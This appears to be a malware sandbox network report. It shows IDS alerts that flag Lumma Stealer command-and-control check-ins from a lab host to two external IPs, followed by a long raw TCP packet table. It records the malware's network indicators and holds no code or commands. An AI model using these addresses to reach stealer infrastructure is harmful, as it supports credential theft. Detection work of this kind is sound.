Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T06:44:12.639576+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49705	172.67.178.50	443	TCP
2024-10-07T06:44:12.639576+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	172.67.178.50	443	TCP
2024-10-07T06:44:13.259859+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49706	188.114.96.3	443	TCP
2024-10-07T06:44:13.259859+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	188.114.96.3	443	TCP
2024-10-07T06:44:14.254089+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49707	188.114.96.3	443	TCP
2024-10-07T06:44:14.254089+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:44:04.338848114 CEST	49677	80	192.168.2.8	192.229.211.108
Oct 7, 2024 06:44:05.385632038 CEST	49673	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:05.901199102 CEST	49672	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:11.485177040 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:11.485208988 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:11.485398054 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:11.488557100 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:11.488573074 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:11.976193905 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:11.976404905 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:11.980501890 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:11.980516911 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:11.980928898 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.027415037 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.029721022 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.029721022 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.029982090 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.307499886 CEST	49676	443	192.168.2.8	52.182.143.211
Oct 7, 2024 06:44:12.639642954 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.639908075 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.639981031 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.641853094 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.641875982 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.641920090 CEST	49705	443	192.168.2.8	172.67.178.50
Oct 7, 2024 06:44:12.641927004 CEST	443	49705	172.67.178.50	192.168.2.8
Oct 7, 2024 06:44:12.656560898 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:12.656599045 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:12.656697035 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:12.657215118 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:12.657231092 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.141185045 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.141278028 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.144973040 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.144989967 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.145361900 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.146814108 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.146836042 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.146931887 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.259886026 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.259952068 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.259989977 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.260013103 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.260027885 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.260040998 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.260075092 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.260134935 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.260185003 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.260705948 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.260730028 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.260756969 CEST	49706	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.260763884 CEST	443	49706	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.315623999 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.315671921 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.315781116 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.316092014 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.316117048 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.781408072 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.781557083 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.783221960 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.783227921 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.784223080 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:13.785600901 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.785630941 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:13.785759926 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:14.254084110 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:14.254219055 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:14.254340887 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:14.254565001 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:14.254581928 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:14.254610062 CEST	49707	443	192.168.2.8	188.114.96.3
Oct 7, 2024 06:44:14.254615068 CEST	443	49707	188.114.96.3	192.168.2.8
Oct 7, 2024 06:44:14.963783979 CEST	49677	80	192.168.2.8	192.229.211.108
Oct 7, 2024 06:44:14.997015953 CEST	49673	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:15.510679960 CEST	49672	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:17.224509954 CEST	443	49704	23.206.229.226	192.168.2.8
Oct 7, 2024 06:44:17.224620104 CEST	49704	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:17.224848032 CEST	443	49704	23.206.229.226	192.168.2.8
Oct 7, 2024 06:44:17.224900961 CEST	49704	443	192.168.2.8	23.206.229.226
Oct 7, 2024 06:44:51.854758978 CEST	49703	80	192.168.2.8	192.229.211.108
Oct 7, 2024 06:44:51.860249996 CEST	80	49703	192.229.211.108	192.168.2.8
Oct 7, 2024 06:44:51.860349894 CEST	49703	80	192.168.2.8	192.229.211.108
Oct 7, 2024 06:45:24.474617958 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:24.474670887 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:24.474755049 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:24.475090027 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:24.475110054 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.123933077 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.124053001 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.127751112 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.127765894 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.128077030 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.139375925 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.183410883 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.240963936 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.241028070 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.241072893 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.241106987 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.241120100 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.241195917 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.324027061 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.324096918 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.324193001 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.324204922 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.324245930 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.324270964 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.325730085 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.325771093 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.325804949 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.325813055 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.325854063 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.325876951 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.411101103 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.411165953 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.411222935 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.411242008 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.411278963 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.411305904 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.412566900 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.412620068 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.412657022 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.412664890 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.412698030 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.412724972 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.413753986 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.413809061 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.413839102 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.413892984 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.413934946 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.413955927 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.415334940 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.415380001 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.415422916 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.415432930 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.415468931 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.415491104 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.498682976 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.498733044 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.498785019 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.498802900 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.498828888 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.498853922 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.499289036 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.499330044 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.499363899 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.499372005 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.499407053 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.499430895 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.500168085 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.500210047 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.500251055 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.500258923 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.500297070 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.500323057 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.501163960 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.501204014 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.501225948 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.501233101 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.501265049 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.501283884 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.501985073 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.502028942 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.502063990 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.502072096 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.502110004 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.502140045 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.502964973 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503005028 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503040075 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.503046989 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503087997 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.503110886 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503113031 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.503138065 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503170013 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.503289938 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.503345013 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.508461952 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.508481026 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.508492947 CEST	49720	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.508500099 CEST	443	49720	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.564322948 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.564448118 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.564573050 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.565975904 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.566004992 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.566092968 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.566113949 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.566119909 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.566183090 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567452908 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567478895 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.567553997 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567708015 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567743063 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.567827940 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567842960 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.567970037 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.567989111 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.568068027 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.568085909 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.569189072 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.569241047 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:25.569314003 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.569451094 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:25.569463015 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.301913977 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.302695990 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.302722931 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.303114891 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.303121090 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.306514978 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.306879997 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.306900024 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.307212114 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.307216883 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.308008909 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.308409929 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.308429956 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.308759928 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.308768034 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.309931993 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.310199976 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.310288906 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.310513973 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.310528994 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.314326048 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.314757109 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.314786911 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.315062046 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.315072060 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.400372028 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.400546074 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.400759935 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.400909901 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.400934935 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.400976896 CEST	49725	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.400984049 CEST	443	49725	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.403959990 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404022932 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404104948 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404114962 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404165983 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404174089 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404216051 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404268026 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404364109 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404376984 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404391050 CEST	49723	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404397011 CEST	443	49723	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404594898 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.404622078 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.404850960 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.405241966 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.405256987 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.406728029 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.406769037 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.406857967 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.406961918 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.406976938 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.407171011 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.407227039 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.407279968 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.407290936 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.407357931 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.407370090 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.407380104 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.407403946 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.407438993 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.409354925 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.409379959 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.409471035 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.409579039 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.409589052 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.411537886 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.411562920 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.411613941 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.411667109 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.411715031 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.411761045 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.411761045 CEST	49722	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.411802053 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.411824942 CEST	443	49722	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.413691044 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.413760900 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.413855076 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.413944960 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.413968086 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.414617062 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.414736032 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.414808989 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.414865017 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.414865017 CEST	49721	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.414884090 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.414904118 CEST	443	49721	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.417145014 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.417180061 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.417287111 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.417540073 CEST	49730	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.417566061 CEST	443	49730	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:26.714240074 CEST	49724	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:26.714262962 CEST	443	49724	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.045031071 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.045707941 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.045722961 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.046150923 CEST	49727	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.046156883 CEST	443	49727	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.051656008 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.052090883 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.052103043 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.052448988 CEST	49728	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.052457094 CEST	443	49728	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.053164005 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.053476095 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.053523064 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.053781033 CEST	49726	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.053787947 CEST	443	49726	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.073056936 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.073596954 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.073661089 CEST	443	49729	13.107.246.45	192.168.2.8
Oct 7, 2024 06:45:27.073961973 CEST	49729	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:45:27.073975086 CEST	443	49729	13.107.246.45	192.168.2.8
